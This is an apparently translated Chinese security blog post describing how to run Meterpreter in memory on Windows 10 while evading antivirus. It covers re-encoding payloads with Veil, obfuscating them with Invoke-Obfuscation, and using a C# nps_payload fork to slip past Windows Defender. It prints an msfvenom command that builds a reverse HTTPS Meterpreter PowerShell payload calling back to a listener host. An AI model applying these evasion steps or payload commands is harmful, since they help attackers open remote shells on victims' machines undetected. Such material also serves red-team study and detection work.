win10内存执行meterpreter绕过杀软第二弹

阅读量    200141 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

坎宁汉姆的定律是这样的:“在互联网上获得正确答案的最好方法并不是去问一个问题,而是发布一个错误的答案”。

然而,自从我发布上篇博文《win10内存花式执行meterpreter绕过杀软》后却没有收到负面反馈,不过我自己已经发现了一些问题:

以下是我目前为止发现的:

绝大多数杀软使用默认配置就能检测到nps_payload,因为它在后端使用了msfvenom来生成可执行的powershell代码。

webDAV上获取文件对磁盘并不是“零写入的”,在C:WindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV这个目录中你可以找到一些内容。

Msbuild也不是零写入的,执行的时候会在C:Users[USER]AppDataLocalTemp[RANDOM]写入一些内容。不过,跟webDAV不一样,执行之后它会自我清理。

好消息是我可以修复第一个问题,下面是修复的步骤:

 

使用Veil

假设你已经安装了Veil,并且使用nps_payload生成了msbuild_nps.xml文件。

使用下面的参数运行Veil

执行后你会得到一个payload.bat文件。根据靶机架构不同,我们会复制相对应的命令。下面我对x64架构进行了高亮显示。

在上面的这段payload中,需要删除位置处的转义字符 (有两处)。

这种转义在Windows命令行中是需要的,但是我们要进行的操作并不需要。

现在需要进行base64编码。一种简单的编码方式是复制到一个文件中,运行如下命令:

复制base64输出内容,替换掉msbuild_nps.xml文件中的cmd命令。确保不要覆盖了闭合引号和分号。

现在你可以再次运行nps_payload,选择option4,将你的filename.txt作为输入:自定义PS1脚本。

 这就OK了,告别烦人的Windows Defender

 

使用Invoke-Obfuscation

首先,在一个有powershell的系统上获取Invoke-Obfuscation.运行在你自己的系统上,而不是靶机。

Windows Defender又会跳出来拦截你的操作:

在我这个例子中,最终还是得以执行。

为了获得初始的powershell脚本,你可以像执行nps-payload脚本一样使用msfvenom:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.137.134 LPORT=443 –arch x86 –platform win -f psh -o msf_payload.txt

我使用了python的简单http server模块,通过http方式传到主机上。这将帮助我们更好的把它插入到Invoke-Obfuscation中。

使用Invoke-Obfuscation,我们需要利用的powershell脚本如下:

选择任意方法进行混淆,这里我选择“Token All

执行后可以得到如下内容:

这就是你的powershell脚本。当你执行invoking,选择option4自定义PS1脚本时,你可以把它作为一个新文件插入这个脚本到nps-payload中。

 

使用Franci Šacer的nps-payload版本

先去GitHub上下载他的版本:https://github.com/fsacer/nps_payload

选择“Generate msbuild/nps/msf CSharp payload

按照上面的步骤执行。这种方式根本没使用powershell,所以不会像使用其他方式一样被检测到。

我感觉这是所有方法中最好的一种,所以我把它放到最后,是想延长微软开始对它进行检测的时间。

因为我一放出这种方式,微软肯定会有所行动。

 

审核人:yiwang   编辑:边边

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多